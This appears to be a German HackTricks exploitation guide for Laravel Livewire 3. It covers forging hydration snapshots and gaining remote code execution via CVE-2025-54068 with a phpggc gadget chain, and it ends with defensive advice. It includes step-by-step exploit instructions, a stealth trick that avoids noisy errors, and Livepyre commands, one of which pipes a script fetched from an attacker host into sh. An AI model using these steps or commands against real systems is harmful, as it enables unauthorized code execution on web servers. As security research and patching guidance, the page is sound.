Laravel Livewire Hydration & Synthesizer Abuse

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Zusammenfassung der Livewire-Zustandsmaschine

Livewire 3 Komponenten tauschen ihren Zustand über snapshots aus, die data, memo und eine Prüfsumme enthalten. Jeder POST an /livewire/update rehydriert den JSON-Snapshot serverseitig und führt die in der Warteschlange stehenden calls/updates aus.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Jeder, der den APP_KEY besitzt (der zur Ableitung von $hashKey verwendet wird), kann daher beliebige Snapshots fälschen, indem er die HMAC neu berechnet.

Komplexe Eigenschaften werden als synthetische Tupel kodiert, die von Livewire\Drawer\BaseUtils::isSyntheticTuple() erkannt werden; jedes Tupel ist [value, {"s":"<key>", ...meta}]. Der Hydration-Kern delegiert einfach jedes Tupel an den in HandleComponents::$propertySynthesizers ausgewählten Synth und durchläuft rekursiv die Kinder:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Dieses rekursive Design macht Livewire zu einer generischen Objekt-Instanziierungs-Engine, sobald ein Angreifer entweder die Tuple-Metadaten oder ein verschachteltes Tuple kontrolliert, das während der Rekursion verarbeitet wird.

Synthesizer, die Gadget-Primitiven bereitstellen

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instanziiert new $meta['class']($value) nachdem jedes Kind rehydratisiert wurde. Jede Klasse mit einem Array-Konstruktor kann erstellt werden, und jedes Element kann selbst ein synthetisches tuple sein.
FormObjectSynth (form)Ruft new $meta['class']($component, $path) auf und weist dann jede öffentliche Eigenschaft aus den vom Angreifer kontrollierten Kindern via $hydrateChild zu. Konstruktoren, die zwei locker typisierte Parameter (oder Default-Args) akzeptieren, genügen, um beliebige öffentliche Eigenschaften zu erreichen.
ModelSynth (mdl)Wenn key in den Meta-Daten fehlt, führt es return new $class; aus, wodurch die Instanziierung beliebiger Klassen ohne Argumente ermöglicht wird.

Weil Synths $hydrateChild auf jedes verschachtelte Element aufrufen, können durch rekursives Verschachteln von Tuples beliebige Gadget-Graphen aufgebaut werden.

Forging snapshots when APP_KEY is known

  1. Fange eine legitime /livewire/update-Anfrage ab und dekodiere components[0].snapshot.
  2. Injiziere verschachtelte Tuples, die auf Gadget-Klassen zeigen, und berechne checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY) neu.
  3. Re-encode das Snapshot, lasse _token/memo unverändert und spiele die Anfrage erneut ab.

Ein minimaler Proof-of-Execution verwendet Guzzle’s FnStream und Flysystem’s ShardedPrefixPublicUrlGenerator. Ein Tuple instanziiert FnStream mit Konstruktor-Daten { "__toString": "phpinfo" }, das nächste instanziiert ShardedPrefixPublicUrlGenerator mit [FnStreamInstance] als $prefixes. Wenn Flysystem jedes Prefix zu string castet, ruft PHP den vom Angreifer bereitgestellten __toString-callable auf und führt damit jede Funktion ohne Argumente aus.

From function calls to full RCE

Unter Ausnutzung von Livewire’s Instanziierungs-Primitiven passte Synacktiv phpggc’s Laravel/RCE4-Kette so an, dass die Hydration ein Objekt startet, dessen public Queueable-Zustand Deserialisierung auslöst:

  1. Queueable trait – jedes Objekt, das Illuminate\Bus\Queueable verwendet, exponiert das öffentliche $chained und führt unserialize(array_shift($this->chained)) in dispatchNextJobInChain() aus.
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) wird via CollectionSynth / FormObjectSynth instanziiert, wobei das öffentliche $chained gefüllt ist.
  3. phpggc Laravel/RCE4Adapted – der serialisierte Blob, der in $chained[0] gespeichert ist, baut PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() ruft schließlich call_user_func_array($closure, $args) auf und ermöglicht so system($cmd).
  4. Stealth termination – durch Übergabe eines zweiten FnStream-callables wie [new Laravel\Prompts\Terminal(), 'exit'] endet die Anfrage mit exit() statt mit einer lauten Exception, wodurch die HTTP-Antwort sauber bleibt.

Automating snapshot forgery

synacktiv/laravel-crypto-killer liefert jetzt einen livewire-Modus, der alles zusammenfügt:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Das Tool parst den erfassten Snapshot, injiziert die gadget tuples, berechnet die Checksumme neu und gibt eine versandbereite /livewire/update-Payload aus.

CVE-2025-54068 – RCE ohne APP_KEY

Laut dem Vendor Advisory betrifft das Problem Livewire v3 (>= 3.0.0-beta.1 und < 3.6.3) und ist auf v3 beschränkt.

updates werden in den Komponentenstatus zusammengeführt nachdem die Snapshot-Checksumme validiert wurde. Wenn eine Property im Snapshot ein (oder zu einem) synthetic tuple wird, verwendet Livewire dessen Meta erneut, während es den vom Angreifer kontrollierten Update-Wert befüllt:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit-Anleitung:

  1. Finde eine Livewire-Komponente mit einer ungeprüften public-Eigenschaft ohne Typdeklaration (z. B. public $count;).
  2. Sende ein Update, das diese Eigenschaft auf [] setzt. Der nächste Snapshot speichert sie nun als [[], {"s": "arr"}].

Ein minimaler Type-Juggling-Ablauf sieht so aus:

POST /livewire/update
...
"updates": {"count": []}

Dann speichert der nächste Snapshot ein Tuple, das die arr-Synthesizer-Metadaten behält:

"count": [[], {"s": "arr"}]
  1. Erzeuge ein weiteres updates-Payload, bei dem diese Eigenschaft ein tief verschachteltes Array enthält, das Tuples wie [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] einbettet.
  2. Während der Rekursion wertet hydrate() jedes verschachtelte Kind unabhängig aus, sodass vom Angreifer gewählte synth-Keys/Classes beachtet werden, selbst wenn das äußere Tuple und die Checksumme nie geändert wurden.
  3. Verwende dieselben CollectionSynth/FormObjectSynth-Primitiven, um ein Queueable-Gadget zu instanziieren, dessen $chained[0] die phpggc-Payload enthält. Livewire verarbeitet die gefälschten updates, ruft dispatchNextJobInChain() auf und erreicht system(<cmd>), ohne den APP_KEY zu kennen.

Hauptgründe, warum das funktioniert:

  • updates sind nicht durch die Snapshot-Checksum abgedeckt.
  • getMetaForPath() vertraut auf welche synth-Metadaten bereits für diese Eigenschaft vorhanden waren, selbst wenn der Angreifer sie zuvor durch schwache Typisierung in ein Tuple gezwungen hat.
  • Rekursion plus schwache Typisierung erlaubt, dass jedes verschachtelte Array als ein neues Tuple interpretiert wird, sodass beliebige synth-Keys und beliebige Klassen schließlich zur Hydration gelangen.

Livepyre – End-to-End-Ausnutzung

Livepyre automatisiert sowohl die APP_KEY-losen CVE- als auch den signed-snapshot-Pfad:

  • Fingerprintet die eingesetzte Livewire-Version, indem es <script src="/livewire/livewire.js?id=HASH"> parst und den Hash auf verwundbare Releases abbildet.
  • Sammelt Basis-Snapshots, indem es harmlose Aktionen replayt und components[].snapshot extrahiert.
  • Generiert entweder ein reines updates-Payload (CVE-2025-54068) oder einen gefälschten Snapshot (bekannter APP_KEY), der die phpggc-Kette einbettet.
  • Falls kein objekttypiger Parameter in einem Snapshot gefunden wird, greift Livepyre auf Brute-Force über Kandidaten-Parameter zurück, um eine coercible-Eigenschaft zu erreichen.

Typische Verwendung:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check führt eine nicht-destruktive Prüfung durch, -F überspringt die Versionsprüfung, -H und -P fügen benutzerdefinierte Header oder Proxies hinzu, und --function/--param passen die php-Funktion an, die von der gadget chain aufgerufen wird.

Verteidigungsmaßnahmen

  • Aktualisieren Sie auf die gepatchten Livewire-Builds (>= 3.6.4 laut Sicherheitsbulletin des Herstellers) und wenden Sie den Patch des Herstellers für CVE-2025-54068 an.
  • Vermeiden Sie schwach typisierte public properties in Livewire-Komponenten; explizite scalar types verhindern, dass property values in arrays/tuples konvertiert werden.
  • Registrieren Sie nur die synthesizers, die Sie wirklich benötigen, und behandeln Sie benutzerkontrollierte Metadaten ($meta['class']) als nicht vertrauenswürdig.
  • Lehnen Sie Updates ab, die den JSON-Typ einer property ändern (z. B. scalar -> array), sofern dies nicht explizit erlaubt ist, und leiten Sie synth metadata stattdessen neu ab, anstatt stale tuples wiederzuverwenden.
  • Rotieren Sie APP_KEY umgehend nach jeder Offenlegung, da er offline snapshot forging ermöglicht, unabhängig davon, wie gepatcht die Code-Basis ist.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks